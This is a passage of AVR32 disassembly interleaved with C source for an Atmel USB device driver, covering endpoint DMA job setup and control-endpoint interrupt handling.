4a 08 00 st.w r8[2048],r10 + // Always authorize asynchrone USB interrupts to exit of sleep mode + AVR32_PM.AWEN.usb_waken = 1; +8000383a: fe 78 0c 00 mov r8,-62464 +8000383e: f0 fa 01 44 ld.w r10,r8[324] +80003842: 30 1b mov r11,1 +80003844: f5 db d0 01 bfins r10,r11,0x0,0x1 +80003848: f1 4a 01 44 st.w r8[324],r10 + +#ifndef UDD_NO_SLEEP_MGR + // Initialize the sleep mode authorized for the USB suspend mode + udd_b_idle = false; +8000384c: 48 c8 lddpc r8,8000387c +8000384e: b0 89 st.b r8[0x0],r9 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80003850: e1 b9 00 00 mfsr r9,0x0 + cpu_irq_disable(); +80003854: d3 03 ssrf 0x10 + Assert(sleepmgr_locks[mode] < 0xff); + + // Enter a critical section + flags = cpu_irq_save(); + + ++sleepmgr_locks[mode]; +80003856: 48 b8 lddpc r8,80003880 +80003858: 11 ba ld.ub r10,r8[0x3] +8000385a: 2f fa sub r10,-1 +8000385c: b0 ba st.b r8[0x3],r10 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +8000385e: e3 b9 00 00 mtsr 0x0,r9 +80003862: e3 b6 00 00 mtsr 0x0,r6 + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_SUSPEND); +#endif + + cpu_irq_restore(flags); +} +80003866: e3 cd 80 c0 ldm sp++,r6-r7,pc +8000386a: 00 00 add r0,r0 +8000386c: 80 00 ld.sh r0,r0[0x0] +8000386e: 6a 4c ld.w r12,r5[0x10] +80003870: 80 00 ld.sh r0,r0[0x0] +80003872: 39 90 mov r0,-103 +80003874: 80 00 ld.sh r0,r0[0x0] +80003876: 2f 58 sub r8,-11 +80003878: 00 00 add r0,r0 +8000387a: 01 b4 ld.ub r4,r0[0x3] +8000387c: 00 00 add r0,r0 +8000387e: 01 c4 ld.ub r4,r0[0x4] +80003880: 00 00 add r0,r0 +80003882: 07 50 ld.sh r0,--r3 + +80003884 : + + +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback) +{ +80003884: eb cd 40 fc pushm r2-r7,lr + uint32_t udd_dma_ctrl = 0; + udd_ep_job_t *ptr_job; + irqflags_t flags; + + b_dir_in = (USB_EP_DIR_IN == (ep & USB_EP_DIR_IN)); + ep &= USB_EP_ADDR_MASK; +80003888: fd dc c0 04 bfextu lr,r12,0x0,0x4 + if (USB_DEVICE_MAX_EP < ep) +8000388c: 30 17 mov r7,1 +8000388e: ee 0e 18 00 cp.b lr,r7 +80003892: e0 8b 00 74 brhi 8000397a + return false; + + // Get job about endpoint + ptr_job = &udd_ep_job[ep - 1]; + + if ((!Is_udd_endpoint_enabled(ep)) +80003896: fe 67 00 00 mov r7,-131072 +8000389a: 6e 76 ld.w r6,r7[0x1c] +8000389c: 1c 95 mov r5,lr +8000389e: 30 17 mov r7,1 +800038a0: ee 0e 09 47 lsl r7,r7,lr +800038a4: 0c 67 and r7,r6 +800038a6: c6 a0 breq 8000397a + || Is_udd_endpoint_stall_requested(ep) +800038a8: fc 07 15 02 lsl r7,lr,0x2 +800038ac: fe 64 01 c0 mov r4,-130624 +800038b0: ee 04 00 06 add r6,r7,r4 +800038b4: 6c 06 ld.w r6,r6[0x0] + return false; + + // Get job about endpoint + ptr_job = &udd_ep_job[ep - 1]; + + if ((!Is_udd_endpoint_enabled(ep)) +800038b6: e6 16 00 08 andh r6,0x8,COH +800038ba: c6 01 brne 8000397a + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + + // Get job about endpoint + ptr_job = &udd_ep_job[ep - 1]; +800038bc: fc c6 00 01 sub r6,lr,1 +800038c0: a5 66 lsl r6,0x4 +800038c2: 4b 34 lddpc r4,8000398c +800038c4: e8 06 00 06 add r6,r4,r6 + + if ((!Is_udd_endpoint_enabled(ep)) + || Is_udd_endpoint_stall_requested(ep) + || ptr_job->stall_requested) +800038c8: 6c 04 ld.w r4,r6[0x0] +800038ca: e6 14 40 00 andh r4,0x4000,COH +800038ce: c5 61 brne 8000397a + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +800038d0: e1 b3 00 00 mfsr r3,0x0 + cpu_irq_disable(); +800038d4: d3 03 ssrf 0x10 + return false; // Endpoint is halted + + flags = cpu_irq_save(); + if (ptr_job->busy == true) { +800038d6: 6c 04 ld.w r4,r6[0x0] +800038d8: 58 04 cp.w r4,0 +800038da: c0 54 brge 800038e4 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +800038dc: e3 b3 00 00 mtsr 0x0,r3 +#endif + barrier(); +800038e0: e3 cf 80 fc ldm sp++,r2-r7,pc,r12=0 + bool b_dir_in; + uint32_t udd_dma_ctrl = 0; + udd_ep_job_t *ptr_job; + irqflags_t flags; + + b_dir_in = (USB_EP_DIR_IN == (ep & USB_EP_DIR_IN)); +800038e4: f9 dc c0 e8 bfextu r12,r12,0x7,0x8 + flags = cpu_irq_save(); + if (ptr_job->busy == true) { + cpu_irq_restore(flags); + return false; // Job already on going + } + ptr_job->busy = true; +800038e8: 6c 04 ld.w r4,r6[0x0] +800038ea: 30 12 mov r2,1 +800038ec: e9 d2 d3 e1 bfins r4,r2,0x1f,0x1 +800038f0: 8d 04 st.w r6[0x0],r4 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +800038f2: e3 b3 00 00 mtsr 0x0,r3 + cpu_irq_restore(flags); + + // The USBB supports a maximum transfer size of 64KB + if (0x10000 <= buf_size) { +800038f6: e0 49 ff ff cp.w r9,65535 +800038fa: e0 88 00 07 brls 80003908 + // Transfer size = 64KB + ptr_job->buf_size = 0x10000; +800038fe: e0 79 00 00 mov r9,65536 +80003902: 8d 29 st.w r6[0x8],r9 +80003904: 30 09 mov r9,0 +80003906: c1 18 rjmp 80003928 + buf_size = 0; + } else { + ptr_job->buf_size = buf_size; +80003908: 8d 29 st.w r6[0x8],r9 + if (b_dir_in && (0 != buf_size % udd_get_endpoint_size(ep))) { +8000390a: 58 0c cp.w r12,0 +8000390c: c0 e0 breq 80003928 +8000390e: fe 63 01 00 mov r3,-130816 +80003912: ee 03 00 04 add r4,r7,r3 +80003916: 68 04 ld.w r4,r4[0x0] +80003918: e9 d4 c0 83 bfextu r4,r4,0x4,0x3 +8000391c: 30 83 mov r3,8 +8000391e: e6 04 09 44 lsl r4,r3,r4 +80003922: 20 14 sub r4,1 +80003924: 12 64 and r4,r9 +80003926: c2 c1 brne 8000397e + // Force short packet option to send a shortpacket on IN, + // else the DMA transfer is accepted and interrupt DMA valid but nothing is sent. + b_shortpacket = true; + } + } + ptr_job->buf = buf; +80003928: 8d 1a st.w r6[0x4],r10 + ptr_job->call_trans = callback; +8000392a: 8d 38 st.w r6[0xc],r8 + + // Start USB DMA to fill or read fifo of the selected endpoint + udd_endpoint_dma_set_addr(ep, (U32) buf); +8000392c: a5 6e lsl lr,0x4 +8000392e: e0 3e fd 00 sub lr,130304 +80003932: 9d 1a st.w lr[0x4],r10 + if (b_shortpacket) { +80003934: 58 0b cp.w r11,0 +80003936: c0 31 brne 8000393c +80003938: 30 08 mov r8,0 +8000393a: c0 68 rjmp 80003946 + if (b_dir_in) { +8000393c: 58 0c cp.w r12,0 +8000393e: c0 31 brne 80003944 +80003940: 31 48 mov r8,20 +80003942: c0 28 rjmp 80003946 +80003944: 30 88 mov r8,8 + udd_dma_ctrl = AVR32_USBB_UDDMA1_CONTROL_EOT_IRQ_EN_MASK + | + AVR32_USBB_UDDMA1_CONTROL_BUFF_CLOSE_IN_EN_MASK; + } + } + udd_dma_ctrl |= (buf_size << +80003946: e8 18 00 21 orl r8,0x21 + AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_OFFSET) + & AVR32_USBB_UDDMA1_CONTROL_CH_BYTE_LENGTH_MASK; + udd_dma_ctrl |= AVR32_USBB_UDDMA1_CONTROL_EOBUFF_IRQ_EN_MASK | +8000394a: f1 e9 11 09 or r9,r8,r9<<0x10 + AVR32_USBB_UDDMA1_CONTROL_CH_EN_MASK; + udd_enable_endpoint_bank_autoswitch(ep); +8000394e: e0 37 ff 00 sub r7,130816 +80003952: 6e 08 ld.w r8,r7[0x0] +80003954: a9 b8 sbr r8,0x9 +80003956: 8f 08 st.w r7[0x0],r8 + udd_endpoint_dma_set_control(ep, udd_dma_ctrl); +80003958: 9d 29 st.w lr[0x8],r9 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +8000395a: e1 b8 00 00 mfsr r8,0x0 + cpu_irq_disable(); +8000395e: d3 03 ssrf 0x10 + flags = cpu_irq_save(); + udd_enable_endpoint_dma_interrupt(ep); +80003960: 20 15 sub r5,1 +80003962: 30 09 mov r9,0 +80003964: ea 19 02 00 orh r9,0x200 +80003968: f2 05 09 45 lsl r5,r9,r5 +8000396c: fe 69 00 00 mov r9,-131072 +80003970: 93 65 st.w r9[0x18],r5 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80003972: e3 b8 00 00 mtsr 0x0,r8 +#endif + barrier(); +80003976: e3 cf 90 fc ldm sp++,r2-r7,pc,r12=1 + cpu_irq_restore(flags); + + return true; +8000397a: e3 cf 80 fc ldm sp++,r2-r7,pc,r12=0 + // Force short packet option to send a shortpacket on IN, + // else the DMA transfer is accepted and interrupt DMA valid but nothing is sent. + b_shortpacket = true; + } + } + ptr_job->buf = buf; +8000397e: 8d 1a st.w r6[0x4],r10 + ptr_job->call_trans = callback; +80003980: 8d 38 st.w r6[0xc],r8 + + // Start USB DMA to fill or read fifo of the selected endpoint + udd_endpoint_dma_set_addr(ep, (U32) buf); +80003982: a5 6e lsl lr,0x4 +80003984: e0 3e fd 00 sub lr,130304 +80003988: 9d 1a st.w lr[0x4],r10 +8000398a: cd db rjmp 80003944 +8000398c: 00 00 add r0,r0 +8000398e: 01 b4 ld.ub r4,r0[0x3] + +80003990 : +#define AVR32_USBB_IRQ_GROUP AVR32_USB_IRQ_GROUP +#endif +#endif +ISR(udd_interrupt, AVR32_USBB_IRQ_GROUP, UDD_USB_INT_LEVEL) +#endif +{ +80003990: d4 01 pushm lr +#ifdef UDC_SOF_EVENT + if (Is_udd_sof()) { +80003992: fe 68 00 00 mov r8,-131072 +80003996: 70 18 ld.w r8,r8[0x4] +80003998: e2 18 00 04 andl r8,0x4,COH +8000399c: c0 90 breq 800039ae + udd_ack_sof(); +8000399e: 30 49 mov r9,4 +800039a0: fe 68 00 00 mov r8,-131072 +800039a4: 91 29 st.w r8[0x8],r9 + UDC_SOF_EVENT(); +800039a6: f0 1f 01 3c mcall 80003e94 + goto udd_interrupt_end; +800039aa: e0 8f 02 63 bral 80003e70 + + +static bool udd_ctrl_interrupt(void) +{ + + if (!Is_udd_endpoint_interrupt(0)) +800039ae: fe 68 00 00 mov r8,-131072 +800039b2: 70 18 ld.w r8,r8[0x4] +800039b4: e2 18 10 00 andl r8,0x1000,COH +800039b8: e0 80 01 80 breq 80003cb8 + return false; // No interrupt events on control endpoint + + // By default disable overflow and underflow interrupt + udd_disable_nak_in_interrupt(0); +800039bc: fe 68 02 20 mov r8,-130528 +800039c0: 31 09 mov r9,16 +800039c2: 91 09 st.w r8[0x0],r9 + udd_disable_nak_out_interrupt(0); +800039c4: 30 89 mov r9,8 +800039c6: 91 09 st.w r8[0x0],r9 + + + // Search event on control endpoint + if (Is_udd_setup_received(0)) { +800039c8: fe 68 01 30 mov r8,-130768 +800039cc: 70 08 ld.w r8,r8[0x0] +800039ce: e2 18 00 04 andl r8,0x4,COH +800039d2: c7 e0 breq 80003ace +static void udd_ctrl_setup_received(void) +{ + irqflags_t flags; + uint8_t i; + + if (UDD_EPCTRL_SETUP != udd_ep_control_state) { +800039d4: fe f8 04 c4 ld.w r8,pc[1220] +800039d8: 70 08 ld.w r8,r8[0x0] +800039da: 58 08 cp.w r8,0 +800039dc: c0 50 breq 800039e6 + // May be a hidden DATA or ZLP phase + // or protocol abort + udd_ctrl_endofrequest(); +800039de: f0 1f 01 30 mcall 80003e9c + // Reinitializes control endpoint management + udd_ctrl_init(); +800039e2: f0 1f 01 30 mcall 80003ea0 + } + // Fill setup request structure + if (8 != udd_byte_count(0)) { +800039e6: fe 68 01 30 mov r8,-130768 +800039ea: 70 08 ld.w r8,r8[0x0] +800039ec: f1 d8 c2 8b bfextu r8,r8,0x14,0xb +800039f0: 58 88 cp.w r8,8 +800039f2: c0 90 breq 80003a04 + udd_ctrl_stall_data(); +800039f4: f0 1f 01 2c mcall 80003ea4 + udd_ack_setup_received(0); +800039f8: 30 49 mov r9,4 +800039fa: fe 68 01 60 mov r8,-130720 +800039fe: 91 09 st.w r8[0x0],r9 +80003a00: e0 8f 02 38 bral 80003e70 + return; // Error data number doesn't correspond to SETUP packet + } + uint32_t *ptr = (uint32_t *) & udd_get_endpoint_fifo_access(0, 32); + for (i = 0; i < 8 / 4; i++) { + ((uint32_t *) & udd_g_ctrlreq.req)[i] = *ptr++; +80003a04: fe f8 04 a4 ld.w r8,pc[1188] +80003a08: 30 09 mov r9,0 +80003a0a: ea 19 d0 00 orh r9,0xd000 +80003a0e: 72 0a ld.w r10,r9[0x0] +80003a10: 91 0a st.w r8[0x0],r10 +80003a12: 30 49 mov r9,4 +80003a14: ea 19 d0 00 orh r9,0xd000 +80003a18: 72 09 ld.w r9,r9[0x0] + } + // Manage LSB/MSB to fit with CPU usage + udd_g_ctrlreq.req.wValue = le16_to_cpu(udd_g_ctrlreq.req.wValue); +80003a1a: 5c ca swap.bh r10 +80003a1c: b0 1a st.h r8[0x2],r10 + udd_g_ctrlreq.req.wIndex = le16_to_cpu(udd_g_ctrlreq.req.wIndex); +80003a1e: f2 0a 14 10 asr r10,r9,0x10 +80003a22: 5c ca swap.bh r10 +80003a24: b0 2a st.h r8[0x4],r10 + udd_g_ctrlreq.req.wLength = le16_to_cpu(udd_g_ctrlreq.req.wLength); +80003a26: 5c c9 swap.bh r9 +80003a28: b0 39 st.h r8[0x6],r9 + + // Decode setup request + if (udc_process_setup() == false) { +80003a2a: f0 1f 01 21 mcall 80003eac +80003a2e: c0 91 brne 80003a40 + // Setup request unknow then stall it + udd_ctrl_stall_data(); +80003a30: f0 1f 01 1d mcall 80003ea4 + udd_ack_setup_received(0); +80003a34: 30 49 mov r9,4 +80003a36: fe 68 01 60 mov r8,-130720 +80003a3a: 91 09 st.w r8[0x0],r9 +80003a3c: e0 8f 02 1a bral 80003e70 + return; + } + udd_ack_setup_received(0); +80003a40: 30 49 mov r9,4 +80003a42: fe 68 01 60 mov r8,-130720 +80003a46: 91 09 st.w r8[0x0],r9 + + if (Udd_setup_is_in()) { +80003a48: fe f8 04 60 ld.w r8,pc[1120] +80003a4c: 11 89 ld.ub r9,r8[0x0] +80003a4e: 30 08 mov r8,0 +80003a50: f0 09 18 00 cp.b r9,r8 +80003a54: c1 94 brge 80003a86 + // Compute if an IN ZLP must be send after IN data + udd_ctrl_payload_need_in_zlp = +80003a56: fe f8 04 52 ld.w r8,pc[1106] +80003a5a: 90 e8 ld.uh r8,r8[0xc] +80003a5c: f1 d8 c0 03 bfextu r8,r8,0x0,0x3 +80003a60: 5f 09 sreq r9 +80003a62: fe f8 04 4e ld.w r8,pc[1102] +80003a66: b0 89 st.b r8[0x0],r9 + ((udd_g_ctrlreq.payload_size % + USB_DEVICE_EP_CTRL_SIZE) == 0); + // IN data phase requested + udd_ctrl_prev_payload_nb_trans = 0; +80003a68: 30 08 mov r8,0 +80003a6a: fe f9 04 4a ld.w r9,pc[1098] +80003a6e: b2 08 st.h r9[0x0],r8 + udd_ctrl_payload_nb_trans = 0; +80003a70: fe f9 04 48 ld.w r9,pc[1096] +80003a74: b2 08 st.h r9[0x0],r8 + udd_ep_control_state = UDD_EPCTRL_DATA_IN; +80003a76: 30 29 mov r9,2 +80003a78: fe f8 04 20 ld.w r8,pc[1056] +80003a7c: 91 09 st.w r8[0x0],r9 + udd_ctrl_in_sent(); // Send first data transfer +80003a7e: f0 1f 01 10 mcall 80003ebc +80003a82: e0 8f 01 f7 bral 80003e70 + } else { + if (0 == udd_g_ctrlreq.req.wLength) { +80003a86: fe f8 04 22 ld.w r8,pc[1058] +80003a8a: 90 39 ld.sh r9,r8[0x6] +80003a8c: 30 08 mov r8,0 +80003a8e: f0 09 19 00 cp.h r9,r8 +80003a92: c0 51 brne 80003a9c + // No data phase requested + // Send IN ZLP to ACK setup request + udd_ctrl_send_zlp_in(); +80003a94: f0 1f 01 0b mcall 80003ec0 +80003a98: e0 8f 01 ec bral 80003e70 + return; + } + // OUT data phase requested + udd_ctrl_prev_payload_nb_trans = 0; +80003a9c: 30 08 mov r8,0 +80003a9e: fe f9 04 16 ld.w r9,pc[1046] +80003aa2: b2 08 st.h r9[0x0],r8 + udd_ctrl_payload_nb_trans = 0; +80003aa4: fe f9 04 14 ld.w r9,pc[1044] +80003aa8: b2 08 st.h r9[0x0],r8 + udd_ep_control_state = UDD_EPCTRL_DATA_OUT; +80003aaa: 30 19 mov r9,1 +80003aac: fe f8 03 ec ld.w r8,pc[1004] +80003ab0: 91 09 st.w r8[0x0],r9 + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); +80003ab2: 31 08 mov r8,16 +80003ab4: fe 69 01 60 mov r9,-130720 +80003ab8: 93 08 st.w r9[0x0],r8 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80003aba: e1 b9 00 00 mfsr r9,0x0 + cpu_irq_disable(); +80003abe: d3 03 ssrf 0x10 + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); +80003ac0: fe 6a 01 f0 mov r10,-130576 +80003ac4: 95 08 st.w r10[0x0],r8 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80003ac6: e3 b9 00 00 mtsr 0x0,r9 +#endif + barrier(); +80003aca: e0 8f 01 d3 bral 80003e70 + if (Is_udd_setup_received(0)) { + // SETUP packet received + udd_ctrl_setup_received(); + return true; + } + if (Is_udd_in_send(0) && Is_udd_in_send_interrupt_enabled(0)) { +80003ace: fe 68 01 30 mov r8,-130768 +80003ad2: 70 08 ld.w r8,r8[0x0] +80003ad4: f1 d8 c0 01 bfextu r8,r8,0x0,0x1 +80003ad8: c0 b0 breq 80003aee +80003ada: fe 68 01 c0 mov r8,-130624 +80003ade: 70 08 ld.w r8,r8[0x0] +80003ae0: f1 d8 c0 01 bfextu r8,r8,0x0,0x1 +80003ae4: c0 50 breq 80003aee + // IN packet sent + udd_ctrl_in_sent(); +80003ae6: f0 1f 00 f6 mcall 80003ebc +80003aea: e0 8f 01 c3 bral 80003e70 + return true; + } + if (Is_udd_out_received(0)) { +80003aee: fe 68 01 30 mov r8,-130768 +80003af2: 70 08 ld.w r8,r8[0x0] +80003af4: e2 18 00 02 andl r8,0x2,COH +80003af8: e0 80 00 a1 breq 80003c3a +{ + irqflags_t flags; + uint8_t i; + uint16_t nb_data; + + if (UDD_EPCTRL_DATA_OUT != udd_ep_control_state) { +80003afc: fe f8 03 9c ld.w r8,pc[924] +80003b00: 70 08 ld.w r8,r8[0x0] +80003b02: 58 18 cp.w r8,1 +80003b04: c1 10 breq 80003b26 + if ((UDD_EPCTRL_DATA_IN == udd_ep_control_state) +80003b06: 58 28 cp.w r8,2 +80003b08: 5f 09 sreq r9 +80003b0a: 58 48 cp.w r8,4 +80003b0c: 5f 08 sreq r8 +80003b0e: f3 e8 10 08 or r8,r9,r8 +80003b12: c0 40 breq 80003b1a + udd_ep_control_state)) { + // End of SETUP request: + // - Data IN Phase aborted, + // - or last Data IN Phase hidden by ZLP OUT sending quiclky, + // - or ZLP OUT received normaly. + udd_ctrl_endofrequest(); +80003b14: f0 1f 00 e2 mcall 80003e9c +80003b18: c0 38 rjmp 80003b1e + } else { + // Protocol error during SETUP request + udd_ctrl_stall_data(); +80003b1a: f0 1f 00 e3 mcall 80003ea4 + } + // Reinitializes control endpoint management + udd_ctrl_init(); +80003b1e: f0 1f 00 e1 mcall 80003ea0 +80003b22: e0 8f 01 a7 bral 80003e70 + return; + } + // Read data received during OUT phase + nb_data = udd_byte_count(0); +80003b26: fe 68 01 30 mov r8,-130768 +80003b2a: 70 0b ld.w r11,r8[0x0] +80003b2c: f7 db c2 8b bfextu r11,r11,0x14,0xb + if (udd_g_ctrlreq.payload_size < (udd_ctrl_payload_nb_trans + nb_data)) { +80003b30: fe f8 03 78 ld.w r8,pc[888] +80003b34: 90 69 ld.sh r9,r8[0xc] +80003b36: fe f8 03 82 ld.w r8,pc[898] +80003b3a: 90 08 ld.sh r8,r8[0x0] +80003b3c: f9 d9 c0 10 bfextu r12,r9,0x0,0x10 +80003b40: f5 d8 c0 10 bfextu r10,r8,0x0,0x10 +80003b44: f6 0a 00 0a add r10,r11,r10 +80003b48: 14 3c cp.w r12,r10 +80003b4a: c0 44 brge 80003b52 + // Payload buffer too small + nb_data = udd_g_ctrlreq.payload_size - +80003b4c: 10 19 sub r9,r8 +80003b4e: f7 d9 b0 10 bfexts r11,r9,0x0,0x10 + udd_ctrl_payload_nb_trans; + } + uint8_t *ptr_src = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + uint8_t *ptr_dest = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; +80003b52: fe f9 03 56 ld.w r9,pc[854] +80003b56: 72 29 ld.w r9,r9[0x8] + for (i = 0; i < nb_data; i++) { +80003b58: 58 0b cp.w r11,0 +80003b5a: e0 80 01 91 breq 80003e7c + // Payload buffer too small + nb_data = udd_g_ctrlreq.payload_size - + udd_ctrl_payload_nb_trans; + } + uint8_t *ptr_src = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + uint8_t *ptr_dest = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; +80003b5e: 5c 78 castu.h r8 +80003b60: 10 09 add r9,r8 +80003b62: 30 08 mov r8,0 +80003b64: ea 18 d0 00 orh r8,0xd000 + for (i = 0; i < nb_data; i++) { + *ptr_dest++ = *ptr_src++; +80003b68: 11 3a ld.ub r10,r8++ +80003b6a: 12 ca st.b r9++,r10 + nb_data = udd_g_ctrlreq.payload_size - + udd_ctrl_payload_nb_trans; + } + uint8_t *ptr_src = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + uint8_t *ptr_dest = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + for (i = 0; i < nb_data; i++) { +80003b6c: f5 d8 c0 08 bfextu r10,r8,0x0,0x8 +80003b70: f6 0a 19 00 cp.h r10,r11 +80003b74: cf a3 brcs 80003b68 + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_data; +80003b76: fe f9 03 42 ld.w r9,pc[834] +80003b7a: 92 08 ld.sh r8,r9[0x0] +80003b7c: 16 08 add r8,r11 +80003b7e: 5c 88 casts.h r8 +80003b80: b2 08 st.h r9[0x0],r8 + + if ((USB_DEVICE_EP_CTRL_SIZE != nb_data) +80003b82: 30 89 mov r9,8 +80003b84: f2 0b 19 00 cp.h r11,r9 +80003b88: c0 e1 brne 80003ba4 +80003b8a: fe f9 03 1e ld.w r9,pc[798] +80003b8e: 92 ba ld.uh r10,r9[0x6] +80003b90: f7 d8 c0 10 bfextu r11,r8,0x0,0x10 +80003b94: fe f9 03 20 ld.w r9,pc[800] +80003b98: 92 89 ld.uh r9,r9[0x0] +80003b9a: f6 09 00 09 add r9,r11,r9 +80003b9e: 12 3a cp.w r10,r9 +80003ba0: e0 89 00 18 brgt 80003bd0 + udd_ctrl_payload_nb_trans))) + { + // End of reception because it is a short packet + // Before send ZLP, call intermediat calback + // in case of data receiv generate a stall + udd_g_ctrlreq.payload_size = udd_ctrl_payload_nb_trans; +80003ba4: fe f9 03 04 ld.w r9,pc[772] +80003ba8: b2 68 st.h r9[0xc],r8 + if (NULL != udd_g_ctrlreq.over_under_run) { +80003baa: 72 5c ld.w r12,r9[0x14] +80003bac: 58 0c cp.w r12,0 +80003bae: c0 a0 breq 80003bc2 + if (!udd_g_ctrlreq.over_under_run()) { +80003bb0: 5d 1c icall r12 +80003bb2: c0 81 brne 80003bc2 + // Stall ZLP + udd_ctrl_stall_data(); +80003bb4: f0 1f 00 bc mcall 80003ea4 + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); +80003bb8: 30 29 mov r9,2 +80003bba: fe 68 01 60 mov r8,-130720 +80003bbe: 91 09 st.w r8[0x0],r9 +80003bc0: c5 89 rjmp 80003e70 + return; + } + } + // Send IN ZLP to ACK setup request + udd_ack_out_received(0); +80003bc2: 30 29 mov r9,2 +80003bc4: fe 68 01 60 mov r8,-130720 +80003bc8: 91 09 st.w r8[0x0],r9 + udd_ctrl_send_zlp_in(); +80003bca: f0 1f 00 be mcall 80003ec0 +80003bce: c5 19 rjmp 80003e70 + return; + } + + if (udd_g_ctrlreq.payload_size == udd_ctrl_payload_nb_trans) { +80003bd0: fe f9 02 d8 ld.w r9,pc[728] +80003bd4: 92 69 ld.sh r9,r9[0xc] +80003bd6: f0 09 19 00 cp.h r9,r8 +80003bda: c2 11 brne 80003c1c + // Overrun then request a new payload buffer + if (!udd_g_ctrlreq.over_under_run) { +80003bdc: fe f8 02 cc ld.w r8,pc[716] +80003be0: 70 5c ld.w r12,r8[0x14] +80003be2: 58 0c cp.w r12,0 +80003be4: c0 81 brne 80003bf4 + // No callback availabled to request a new payload buffer + udd_ctrl_stall_data(); +80003be6: f0 1f 00 b0 mcall 80003ea4 + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); +80003bea: 30 29 mov r9,2 +80003bec: fe 68 01 60 mov r8,-130720 +80003bf0: 91 09 st.w r8[0x0],r9 +80003bf2: c3 f9 rjmp 80003e70 + return; + } + if (!udd_g_ctrlreq.over_under_run()) { +80003bf4: 5d 1c icall r12 +80003bf6: c0 81 brne 80003c06 + // No new payload buffer delivered + udd_ctrl_stall_data(); +80003bf8: f0 1f 00 ab mcall 80003ea4 + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); +80003bfc: 30 29 mov r9,2 +80003bfe: fe 68 01 60 mov r8,-130720 +80003c02: 91 09 st.w r8[0x0],r9 +80003c04: c3 69 rjmp 80003e70 + return; + } + // New payload buffer available + // Update number of total data received + udd_ctrl_prev_payload_nb_trans += udd_ctrl_payload_nb_trans; +80003c06: fe f9 02 ae ld.w r9,pc[686] +80003c0a: fe f8 02 ae ld.w r8,pc[686] +80003c0e: 90 0b ld.sh r11,r8[0x0] +80003c10: 92 0a ld.sh r10,r9[0x0] +80003c12: f6 0a 00 0a add r10,r11,r10 +80003c16: b2 0a st.h r9[0x0],r10 + // Reinit reception on payload buffer + udd_ctrl_payload_nb_trans = 0; +80003c18: 30 09 mov r9,0 +80003c1a: b0 09 st.h r8[0x0],r9 + } + // Free buffer of control endpoint to authorize next reception + udd_ack_out_received(0); +80003c1c: fe 69 01 60 mov r9,-130720 +80003c20: 30 28 mov r8,2 +80003c22: 93 08 st.w r9[0x0],r8 + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); +80003c24: 31 08 mov r8,16 +80003c26: 93 08 st.w r9[0x0],r8 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80003c28: e1 b9 00 00 mfsr r9,0x0 + cpu_irq_disable(); +80003c2c: d3 03 ssrf 0x10 + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); +80003c2e: fe 6a 01 f0 mov r10,-130576 +80003c32: 95 08 st.w r10[0x0],r8 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80003c34: e3 b9 00 00 mtsr 0x0,r9 +#endif + barrier(); +80003c38: c1 c9 rjmp 80003e70 + if (Is_udd_out_received(0)) { + // OUT packet received + udd_ctrl_out_received(); + return true; + } + if (Is_udd_nak_out(0)) { +80003c3a: fe 68 01 30 mov r8,-130768 +80003c3e: 70 08 ld.w r8,r8[0x0] +80003c40: e2 18 00 08 andl r8,0x8,COH +80003c44: c1 80 breq 80003c74 + // Overflow on OUT packet + udd_ack_nak_out(0); +80003c46: 30 89 mov r9,8 +80003c48: fe 68 01 60 mov r8,-130720 +80003c4c: 91 09 st.w r8[0x0],r9 +} + + +static void udd_ctrl_overflow(void) +{ + if (Is_udd_in_send(0)) +80003c4e: fe 68 01 30 mov r8,-130768 +80003c52: 70 08 ld.w r8,r8[0x0] +80003c54: f1 d8 c0 01 bfextu r8,r8,0x0,0x1 +80003c58: e0 81 01 0c brne 80003e70 + return; // overflow ignored if IN data is received + + // The case of UDD_EPCTRL_DATA_IN is not managed + // because the OUT endpoint is already free and OUT ZLP accepted + + if (UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { +80003c5c: fe f8 02 3c ld.w r8,pc[572] +80003c60: 70 08 ld.w r8,r8[0x0] 